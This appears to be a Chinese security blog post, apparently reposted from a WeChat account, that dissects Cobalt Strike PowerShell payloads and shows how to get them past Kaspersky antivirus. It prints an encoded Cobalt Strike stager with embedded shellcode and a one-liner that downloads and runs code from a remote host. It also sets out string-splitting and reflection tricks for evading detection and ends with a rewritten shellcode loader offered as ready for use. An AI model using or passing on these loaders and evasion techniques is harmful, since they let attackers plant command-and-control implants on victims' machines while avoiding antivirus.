0x01 Payload 分析
CobaltStrike
版本不同所生产的payload
的也是不同的,方式大同小异,本文基于以下版本生成的 payload
进行分析。
Version : CobaltStrike 3.8 May 23,2017
Version : CobaltStrike 3.14 May 4,2019
CobaltStrike 提供了两种执行 payload 的方式:
-
远程加载payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('URL'))"
-
执行编码后的payload
powershell -nop -w hidden -encodedcommand base64code
执行的 payload 如下
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
内容用 Gzip
压缩过,首先需要解压缩,可以使用以下几种方式来处理:
import base64
import gzip
text = "...."
print(gzip.decompress(base64.b64decode(text)).decode())
php -r 'echo gzdecode(base64_decode("...."));'
或者修改 payload
让他直接输出不执行:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...."));$a =New-Object
IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress));$a.ReadToEnd()
处理后的代码如下所示:
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAFkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaCVbAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaWlIQgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTkyLjE2OC4xMjQuNAA=")
$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
展开后其实是一个 shellcodeloader
, func_get_proc_address
用于获取函数地址, func_get_delegate_type
用于返回委托类型,然后再用GetDelegateForFunctionPointer
将函数指针转换为委托再进行调用,而中间那一串 base64
代码其实就是最终执行的 shellcode
。接下来就是申请内存、创建线程、执行 shellcode
。稍微更改一下就是一个通用的 shellcodeloader
。
0x02 Bypass AV
在平常的渗透过程中,卡巴斯基的检测是最为严格的,这里选取卡巴斯基作为 Bypass 对象。
以远程加载payload的方式为例,在命令上,需要修改下载字符串的语句
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.90.153:8000/a'))"
方式很多,我这里直接用加密的方式绕过去,这样就可以正常访问到网页文件,并加载到内存中执行
powershell -nop -w hidden -c "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGE9KChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCJodHRwOi8vMTkyLjE2OC45MC4xNTM6ODAwMC9hIikpO0lFWCgkYSk='))|IEX";
光这一点是不够的,因为卡巴斯基对于请求页面中的信息也有检测(当前请求页面中的内容即为未解压缩的代码),经过反复尝试后,发现检查的对象是 [Convert]::FromBase64String("...")
, 如果发现此函数,就对函数中的加密字符串进行解码,匹配是否含有恶意代码。这里提供两种绕过方式:
-
分割字符串
举个例子:
[Convert]::FromBase64String("d2hvYW1p")
=>[Convert]::FromBase64String("d2h"+"vYW1p")
-
不使用
FromBase64String
我这里用反射来调用
FromBase64String
,当然你也可以自定义你的加密方式。[convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null, “....”)
修改后的代码为:
$s=New-Object IO.MemoryStream(,[convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,"........."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
修改后的文件可以直接使用
CobaltStrike
->Attacks
->Web Drive-by
->Host File
来发布,然后使用远程加载payload直接执行,可以看到,无论哪一种修改方式都正常上线。到此初步绕过了卡巴斯基的查杀。
一开始的时候,我使用的是 CobaltStrike 3.8 May 23,2017
来做的测试,测试过程中发现了一个奇怪的现象,修改后确实正常上线了,但是一段时间后卡巴斯基会检测到处于内存中的恶意代码,没办法,只能进一步分析。解压后,把 shellcodeloader
展开, 一步一步分析。最后发现在创建线程的时候,卡巴斯基格外敏感。
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
无论你的 shellcode
如何变化,总是要解密放到内存里的,一旦创建线程,卡巴斯基就会对其进行检测,导致检测到恶意代码。没办法,不会修改shellcode
,只能去看看有没有其他的调用方式,最后找到了这个 https://github.com/prnd432/MMFml/blob/master/mmfml.ps1 他是通过GetDelegateForFunctionPointer
来调用的,这种调用方式不会另外启动一个线程。修改调用方式后,成功绕过。尴尬的是,后来我发现先高版本的 CobaltStrike 3.14 May 4,2019
已经把 shellcode
的调用方式改成了用 GetDelegateForFunctionPointer
来调用.....
0x03 ShellCodeLoader && Powershell Command
之后的工作就很简单了,因为 payload
本身就是一个 shellcodeloader
,只需要稍微一下他的特征就可以达到免杀的效果,当然 func_get_proc_address
func_get_delegate_type
中的特征也需要稍作变化,直接来看代码吧!
Set-StrictMode -Version 2
function fuc {
return [System.Text.Encoding]::ASCII.GetString([convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,$args[0]));
}
function fuc1 {
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc"))
}
function fuc2 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$text = fuc JHZhcl90eXBlX2J1aWxkZXIgPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5EZWZpbmVEeW5hbWljQXNzZW1ibHkoKE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lKCdSZWZsZWN0ZWREZWxlZ2F0ZScpKSwgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuKS5EZWZpbmVEeW5hbWljTW9kdWxlKCdJbk1lbW9yeU1vZHVsZScsICRmYWxzZSkuRGVmaW5lVHlwZSgnTXlEZWxlZ2F0ZVR5cGUnLCAnQ2xhc3MsIFB1YmxpYywgU2VhbGVkLCBBbnNpQ2xhc3MsIEF1dG9DbGFzcycsIFtTeXN0ZW0uTXVsdGljYXN0RGVsZWdhdGVdKQoJJHZhcl90eXBlX2J1aWxkZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkdmFyX3BhcmFtZXRlcnMpLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQoJJHZhcl90eXBlX2J1aWxkZXIuRGVmaW5lTWV0aG9kKCdJbnZva2UnLCAnUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwnLCAkdmFyX3JldHVybl90eXBlLCAkdmFyX3BhcmFtZXRlcnMpLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQ==
IEX($text)
return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
$str = fuc XXXXXXXXXXX# base64 两次后的 shellcode,直接用 cs 生成 raw 编码后即可
[Byte[]]$var_code = [convert].GetMethod("FromBase64String",[type[]]@('string')).Invoke($null,$str)
$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fuc1 ), (fuc2 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40);
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length);
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (fuc2 @([IntPtr]) ([Void]))).Invoke([IntPtr]::Zero);
}
else {
IEX $DoIt
}
为了方便,我把 shellcode
写死在里面了,如果你需要从外部获取,只需要稍微改一下就可以, V站查杀结果如下:
https://www.virustotal.com/gui/file/626a3c5f04e305d28e40e08d813a52828910e4a11d8866cb1ef182eb7b751b22/detection
不出网的情况,可以上传文件,然后 powershell -nop -w hidden -c "cat payload.txt|IEX"
,当然,也可以使用不落地的方式执行(压缩后再编码,以免过长),方式如下
powershell -nop -w hidden -c "[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('....'))|IEX";
参考链接
http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/
https://sysopfb.github.io/malware,/reverse-engineering/2018/10/08/Beacon-in-a-jquery.html
https://github.com/prnd432/MMFml/blob/master/mmfml.ps1
https://www.cnblogs.com/wj/archive/2008/02/10/1066585.html
https://evi1.cn/post/powershell-bypass-4/
https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer__1_System_IntPtr_
长按识别二维码关注公众号 【宽字节安全】获取更多好玩的安全知识
本文始发于微信公众号(宽字节安全):CobaltStrike Powershell Bypass AV 初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论